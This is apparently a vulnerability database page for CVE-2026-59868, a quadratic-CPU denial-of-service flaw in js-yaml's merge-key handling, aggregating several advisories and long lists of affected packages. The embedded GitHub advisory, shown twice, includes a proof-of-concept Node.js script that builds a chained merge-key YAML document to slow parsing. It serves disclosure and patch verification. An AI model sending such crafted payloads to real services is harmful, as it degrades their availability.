Every CVE Search/ Get API key

CVE-2026-59868

js-yaml: YAML merge-key chains can force quadratic CPU consumption

5.3 MediumFix available

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
Low

Exploit likelihood

0.64%Up 0.4 points since Jul 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.3

js-yaml: YAML merge-key chains can force quadratic CPU consumption

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Record
CVE-2026-59868
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-407
Updated
2026-11-02
EUVDEUVD-2026-42302 5.3

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Record
EUVD-2026-42302
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-g796-fgmg-93mv 5.3

js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml

Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Record
GHSA-g796-fgmg-93mv
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-407, CWE-770
Updated
2026-11-02
NVD 5.3

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Record
CVE-2026-59868
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407, CWE-770
Updated
2026-11-02
OSV 5.3

js-yaml: YAML merge-key chains can force quadratic CPU consumption

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Record
CVE-2026-59868
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-407
Updated
2026-11-02
OSVGHSA-g796-fgmg-93mv 5.3

js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml

Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Record
GHSA-g796-fgmg-93mv
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-407, CWE-770
Updated
2026-11-02
Show 11 moreShow less
OSVRHSA-2026:26994 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:26994
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:33866 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:33866
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:34478 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:34478
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:34975 8.1

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:34975
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:35272 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:35272
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:7378 7.7

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:7378
CVSS 3.0
7.7 HighCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
OSVRHSA-2026:7655 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:7655
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:9455 7.7

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:9455
CVSS 3.0
7.7 HighCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
OSVUBUNTU-CVE-2026-59868 5.3

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Record
UBUNTU-CVE-2026-59868
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVCLSA-2026-1784596307 No score

TuxCare security update for js-yaml (1 CVE)

TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 3.7.0-tuxcare.2.

Record
CLSA-2026-1784596307
Updated
2026-11-02
OSVCLSA-2026-1790944177 No score

TuxCare security update for js-yaml (2 CVEs)

TuxCare rebuilt js-yaml to address 2 CVEs. Fixed in 4.2.0-tuxcare.2.

Record
CLSA-2026-1790944177
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
js-yaml
npm
5.0.0 to 5.1.0
5.2.0
js-yaml
TuxCare:npm
3.7.0-tuxcare.0 up to 3.7.0-tuxcare.2, plus listed versions
3.7.03.7.0-tuxcare.1
3.7.0-tuxcare.2
js-yaml
TuxCare:npm
4.2.0-tuxcare.0 up to 4.2.0-tuxcare.2, plus listed versions
4.2.04.2.0-tuxcare.1
4.2.0-tuxcare.2
js-yaml
npm
5.0.0 up to 5.2.0
5.2.0
dotnet-sdk-8.0
Red Hat:hummingbird:1
before 0:8.0.128-1.hum1
0:8.0.128-1.hum1
dotnet-sdk-8.0-source-built-artifacts
Red Hat:hummingbird:1
before 0:8.0.128-1.hum1
0:8.0.128-1.hum1
dotnet-sdk-dbg-8.0
Red Hat:hummingbird:1
before 0:8.0.128-1.hum1
0:8.0.128-1.hum1
dotnet-templates-8.0
Red Hat:hummingbird:1
before 0:8.0.128-1.hum1
0:8.0.128-1.hum1
dotnet8.0
Red Hat:hummingbird:1
before 0:8.0.128-1.hum1
0:8.0.128-1.hum1
nodejs26
Red Hat:hummingbird:1
before 0:26.4.0-1.3.hum1
0:26.4.0-1.3.hum1
Show 68 moreShow less
Affected packages
PackageAffectedFixed
nodejs26-bin
Red Hat:hummingbird:1
before 0:26.4.0-1.3.hum1
0:26.4.0-1.3.hum1
nodejs26-devel
Red Hat:hummingbird:1
before 0:26.4.0-1.3.hum1
0:26.4.0-1.3.hum1
nodejs26-docs
Red Hat:hummingbird:1
before 0:26.4.0-1.3.hum1
0:26.4.0-1.3.hum1
nodejs26-full-i18n
Red Hat:hummingbird:1
before 0:26.4.0-1.3.hum1
0:26.4.0-1.3.hum1
nodejs26-libs
Red Hat:hummingbird:1
before 0:26.4.0-1.3.hum1
0:26.4.0-1.3.hum1
nodejs26-npm
Red Hat:hummingbird:1
before 0:11.17.0-1.26.4.0.1.3.hum1
0:11.17.0-1.26.4.0.1.3.hum1
nodejs26-npm-bin
Red Hat:hummingbird:1
before 0:26.4.0-1.3.hum1
0:26.4.0-1.3.hum1
v8-14.6-devel
Red Hat:hummingbird:1
before 0:14.6.202.34-1.26.4.0.1.3.hum1
0:14.6.202.34-1.26.4.0.1.3.hum1
nodejs24
Red Hat:hummingbird:1
before 0:24.18.0-0.2.hum1
0:24.18.0-0.2.hum1
nodejs24-bin
Red Hat:hummingbird:1
before 0:24.18.0-0.2.hum1
0:24.18.0-0.2.hum1
nodejs24-devel
Red Hat:hummingbird:1
before 0:24.18.0-0.2.hum1
0:24.18.0-0.2.hum1
nodejs24-docs
Red Hat:hummingbird:1
before 0:24.18.0-0.2.hum1
0:24.18.0-0.2.hum1
nodejs24-full-i18n
Red Hat:hummingbird:1
before 0:24.18.0-0.2.hum1
0:24.18.0-0.2.hum1
nodejs24-libs
Red Hat:hummingbird:1
before 0:24.18.0-0.2.hum1
0:24.18.0-0.2.hum1
nodejs24-npm
Red Hat:hummingbird:1
before 0:11.16.0-1.24.18.0.0.2.hum1
0:11.16.0-1.24.18.0.0.2.hum1
nodejs24-npm-bin
Red Hat:hummingbird:1
before 0:24.18.0-0.2.hum1
0:24.18.0-0.2.hum1
v8-13.6-devel
Red Hat:hummingbird:1
before 0:13.6.233.17-1.24.18.0.0.2.hum1
0:13.6.233.17-1.24.18.0.0.2.hum1
cargo
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
clippy
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-analyzer
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-debugger-common
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-doc
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-gdb
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-lldb
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-src
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-std-static
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-std-static-aarch64-unknown-none-softfloat
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-std-static-aarch64-unknown-uefi
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-std-static-i686-pc-windows-gnu
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-std-static-wasm32-unknown-unknown
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-std-static-wasm32-wasip1
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-std-static-x86_64-pc-windows-gnu
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-std-static-x86_64-unknown-none
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rust-std-static-x86_64-unknown-uefi
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
rustfmt
Red Hat:hummingbird:1
before 0:1.96.1-1.hum1
0:1.96.1-1.hum1
nodejs22
Red Hat:hummingbird:1
before 0:22.23.1-2.hum1
0:22.23.1-2.hum1
nodejs22-bin
Red Hat:hummingbird:1
before 0:22.23.1-2.hum1
0:22.23.1-2.hum1
nodejs22-devel
Red Hat:hummingbird:1
before 0:22.23.1-2.hum1
0:22.23.1-2.hum1
nodejs22-docs
Red Hat:hummingbird:1
before 0:22.23.1-2.hum1
0:22.23.1-2.hum1
nodejs22-full-i18n
Red Hat:hummingbird:1
before 0:22.23.1-2.hum1
0:22.23.1-2.hum1
nodejs22-libs
Red Hat:hummingbird:1
before 0:22.23.1-2.hum1
0:22.23.1-2.hum1
nodejs22-npm
Red Hat:hummingbird:1
before 0:10.9.8-1.22.23.1.2.hum1
0:10.9.8-1.22.23.1.2.hum1
nodejs22-npm-bin
Red Hat:hummingbird:1
before 0:22.23.1-2.hum1
0:22.23.1-2.hum1
nodejs25
Red Hat:hummingbird:1
before 0:25.9.0-1.1.hum1
0:25.9.0-1.1.hum1
nodejs25-bin
Red Hat:hummingbird:1
before 0:25.9.0-1.1.hum1
0:25.9.0-1.1.hum1
nodejs25-devel
Red Hat:hummingbird:1
before 0:25.9.0-1.1.hum1
0:25.9.0-1.1.hum1
nodejs25-docs
Red Hat:hummingbird:1
before 0:25.9.0-1.1.hum1
0:25.9.0-1.1.hum1
nodejs25-full-i18n
Red Hat:hummingbird:1
before 0:25.9.0-1.1.hum1
0:25.9.0-1.1.hum1
nodejs25-libs
Red Hat:hummingbird:1
before 0:25.9.0-1.1.hum1
0:25.9.0-1.1.hum1
nodejs25-npm
Red Hat:hummingbird:1
before 0:11.12.1-1.25.9.0.1.1.hum1
0:11.12.1-1.25.9.0.1.1.hum1
nodejs25-npm-bin
Red Hat:hummingbird:1
before 0:25.9.0-1.1.hum1
0:25.9.0-1.1.hum1
yarnpkg
Red Hat:hummingbird:1
before 0:1.22.22-18.1.hum1
0:1.22.22-18.1.hum1
nodejs20
Red Hat:hummingbird:1
before 0:20.20.2-1.hum1
0:20.20.2-1.hum1
nodejs20-bin
Red Hat:hummingbird:1
before 0:20.20.2-1.hum1
0:20.20.2-1.hum1
nodejs20-devel
Red Hat:hummingbird:1
before 0:20.20.2-1.hum1
0:20.20.2-1.hum1
nodejs20-docs
Red Hat:hummingbird:1
before 0:20.20.2-1.hum1
0:20.20.2-1.hum1
nodejs20-full-i18n
Red Hat:hummingbird:1
before 0:20.20.2-1.hum1
0:20.20.2-1.hum1
nodejs20-libs
Red Hat:hummingbird:1
before 0:20.20.2-1.hum1
0:20.20.2-1.hum1
nodejs20-npm
Red Hat:hummingbird:1
before 0:10.8.2-1.20.20.2.1.hum1
0:10.8.2-1.20.20.2.1.hum1
nodejs20-npm-bin
Red Hat:hummingbird:1
before 0:20.20.2-1.hum1
0:20.20.2-1.hum1
node-js-yaml
Ubuntu:18.04:LTS
All versions, plus listed versions
3.9.1+dfsg-13.10.0+dfsg-1
None known
node-js-yaml
Ubuntu:20.04:LTS
All versions, plus listed versions
3.13.1+dfsg-2
None known
node-js-yaml
Ubuntu:22.04:LTS
All versions, plus listed versions
3.14.1+dfsg+~3.12.6-24.1.0+dfsg+~4.0.5-4ubuntu14.1.0+dfsg+~4.0.5-54.1.0+dfsg+~4.0.5-6
None known
node-js-yaml
Ubuntu:24.04:LTS
All versions, plus listed versions
4.1.0+dfsg+~4.0.5-7
None known
node-js-yaml
Ubuntu:25.10
All versions, plus listed versions
4.1.0+dfsg+~4.0.5-7
None known
node-js-yaml
Ubuntu:26.10
All versions, plus listed versions
4.1.1+dfsg+~4.0.9-14.2.0+~4.0.9-14.2.0+~4.0.9-2
None known
node-js-yaml
Ubuntu:26.04:LTS
All versions, plus listed versions
4.1.0+dfsg+~4.0.5-74.1.1+dfsg+~4.0.9-1
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-59868 is a medium vulnerability (CVSS 5.3) in Nodeca Js-yaml, published April 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.64%, the 50th percentile. Fixed in js-yaml 5.2.0.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 125 references. The JSON record has them.

MoveEnter Open